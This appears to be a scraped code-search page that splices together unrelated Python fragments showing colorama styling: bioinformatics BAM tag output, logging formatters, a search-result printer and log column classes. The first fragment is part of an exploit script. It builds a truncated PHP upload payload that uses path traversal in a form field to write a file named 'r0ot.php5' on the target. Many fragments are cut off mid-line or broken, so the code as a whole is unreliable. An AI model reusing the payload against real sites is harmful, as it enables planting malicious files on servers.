Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
try:
from pycurl import *
from colorama import init,Fore,Back,Style
except ImportError as e:
print '[-] -- Import Error: [%s]\n[-] -- Install it (pip install )\n' % e
sys.exit(0)
else:
init(autoreset = True)
# colors foreground text:
fc = Fore.CYAN
fg = Fore.GREEN
fw = Fore.WHITE
fr = Fore.RED
fb = Fore.BLUE
# colors style text:
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
#############################################################################################################
# list for saving header response
r = []
# list for saving Status of curl output
st = []
# connection timeout
tm = 30
# User Agent
ua = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0"
# Headers
hd = ['Accept: text/html', 'Accept-Charset: UTF-8']
# php function for uploaading arbitrary file from remote server
data = '";\n }else \n echo "Failed file not exist";\n echo "Exploited .\n " ;?> &field_id=3&form_id=1&gform_unique_id=../../../&name=r0ot.php5'
f'{colorama.Style.BRIGHT}Tags seen in the supplied bam file(s):{colorama.Style.RESET_ALL}')
for observedTag in tagObs:
tag = observedTag
if observedTag in TagDefinitions:
t = TagDefinitions[observedTag]
humanName = t.humanName
isPhred = t.isPhred
else:
t = observedTag
isPhred = False
humanName = f'{colorama.Style.RESET_ALL}'
allReadsHaveTag = (tagObs[tag] == head)
color = colorama.Fore.GREEN if allReadsHaveTag else colorama.Fore.YELLOW
print(
f'{color}{ colorama.Style.BRIGHT}{tag}{colorama.Style.RESET_ALL}\t{color+humanName}\t{colorama.Style.DIM}{"PHRED" if isPhred else ""}{colorama.Style.RESET_ALL}' +
f'\t{"" if allReadsHaveTag else "Not all reads have this tag"}')
print(f'{colorama.Style.BRIGHT}\nAVO lab tag list:{colorama.Style.RESET_ALL}')
for tag, t in TagDefinitions.items():
print(f'{colorama.Style.BRIGHT}{tag}{colorama.Style.RESET_ALL}\t{t.humanName}\t{colorama.Style.DIM}{"PHRED" if t.isPhred else ""}{colorama.Style.RESET_ALL}')
exit()
if args.o is None and not return_df:
raise ValueError('Supply an output file')
if args.alignmentfiles is None:
raise ValueError('Supply alignment (BAM) files')
joinFeatures = False
featureTags = []
if args.featureTags is not None:
)
from colorama import (
init,
Fore,
Back,
Style
)
from tornado.ioloop import IOLoop
from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer
if os.name != 'nt':
import inquirer
from inquirer.themes import GreenPassion
# CONSOLE-COLORS
B, D, RA = Style.BRIGHT, Style.DIM, Style.RESET_ALL
BL, R, C, Y, G = Fore.BLUE, Fore.RED, Fore.CYAN, Fore.YELLOW, Fore.GREEN
c1, c2, waiting = 0, 0, True
progress = {
0 : ['▁', '▂', '▃', '▄', '▅', '▆',
'█', '▆', '▅', '▄', '▃', '▂'],
1 : ['⚀', '⚁', '⚂', '⚃', '⚄', '⚅'],
2 : ['|', '/', '-', '\\'],
3 : ['◥', '◢', '◣', '◤'],
4 : ['⊢', '⊤', '⊣', '⊥'],
5 : ['⊔', '⊏', '⊓', '⊐'],
6 : ['◎', '◉', '●'],
7 : ['⨁', '⨂'],
8 : ['❐', '❏']
}
def _GetPidStyle(self, pid, dim=False):
if pid == self._primary_pid:
return colorama.Fore.WHITE
elif pid in self._my_pids:
# TODO(wnwen): Use one separate persistent color per process, pop LRU
return colorama.Fore.YELLOW
elif dim:
return colorama.Style.DIM
return ''
fileline_prefix = r'(?P(?P[-.\w/\\]+.java):(?P
def print_res(path, match, val):
sep = ' '
pre = '[...]'
post = pre
pos = match.lower().index(val.lower()) # dirty
if len(match) >= 80:
if pos <35:
pre = ''
match_c = Style.DIM + pre + match[pos-35:pos] + Fore.RED+Style.BRIGHT + match[pos:pos+len(val)] + \
Style.RESET_ALL+Style.DIM + match[pos+len(val):pos+35] + post + Style.RESET_ALL
match = pre + match[pos-35:pos+35] + post
else:
match_c = Style.DIM + match[:pos] + Fore.RED+Style.BRIGHT + match[pos:pos+len(val)] + \
Style.RESET_ALL+Style.DIM + match[pos+len(val):] + Style.RESET_ALL
match_c = match_c.replace('\n', '\\n')
match_c = match_c.replace('\r', '\\r')
match = match.replace('\n', '\\n')
match = match.replace('\r', '\\r')
if len(path) >= 60:
sep = '\n\t'
if sys.stdout.isatty():
print " %s:%s%s" % (path, sep, match_c)
else:
print " %s:%s%s" % (path, sep, match)
def levelStyle(self, record):
if record.levelno <= logging.DEBUG:
return colorama.Style.DIM + colorama.Fore.RESET #pylint: disable=no-member
elif record.levelno >= logging.CRITICAL:
return colorama.Style.BRIGHT + colorama.Fore.RED #pylint: disable=no-member
elif record.levelno >= logging.ERROR:
return colorama.Style.BRIGHT + colorama.Fore.RED #pylint: disable=no-member
elif record.levelno >= logging.WARNING:
return colorama.Style.BRIGHT + colorama.Fore.YELLOW #pylint: disable=no-member
return colorama.Style.NORMAL + colorama.Fore.GREEN #pylint: disable=no-member
for call, description in zip('zZxXhH',
['unmethylated C in CpG context (CG)',
'methylated C in CpG context (CG)',
'unmethylated C in CHG context ( C[ACT]G )',
'methylated C in CHG context ( C[ACT]G )',
'unmethylated C in CHH context ( C[ACT][ACT] )',
'methylated C in CHH context ( C[ACT][ACT] )'
]):
if call.isupper():
print(
f' {colorama.Style.BRIGHT}{call}{colorama.Style.RESET_ALL}\t{mcs[call]}',
end='\t')
else:
print(f' {call}\t{mcs[call]}', end='\t')
print(f'{colorama.Style.DIM}{description}{colorama.Style.RESET_ALL}')
print('\n')
if args.table is not None:
print(
colorama.Style.BRIGHT +
'Writing raw unmethylated counts' +
colorama.Style.RESET_ALL)
# Write raw counts:
df = pd.DataFrame(
{loc: {sample: binned_data[loc][sample][0] for sample in binned_data[loc]} for loc in binned_data})
df.to_pickle(f'{args.table}_unmethylated_{args.contig}.pickle.gz')
df.to_csv(f'{args.table}_unmethylated_{args.contig}.csv')
del df
print(
def dim_print(text):
print (Style.RESET_ALL+Style.DIM+text+Style.RESET_ALL)
class DateColumn(Column):
NAME = "date"
FORMAT = Fore.WHITE + Back.BLACK + Style.DIM + \
"%s" + Style.RESET_ALL
DEFAULT_WIDTH = 7
class TimeColumn(Column):
NAME = "time"
FORMAT = Fore.WHITE + Back.BLACK + Style.DIM + \
"%s" + Style.RESET_ALL
DEFAULT_WIDTH = 14
class PIDColumn(Column):
NAME = "pid"
DEFAULT_WIDTH = 8
FORMAT = Fore.WHITE + Back.BLACK + Style.DIM + \
"%s" + Style.RESET_ALL
def format(self, pid):
# center process info
if self.width > 0:
pid = pid.center(self.width)
return Column.format(self, pid)
class TIDColumn(PIDColumn):
NAME = "tid"
def format(self, tid):
# normalize thread IDs to be decimal
if "0x" in tid:
tid = str(int(tid, 16))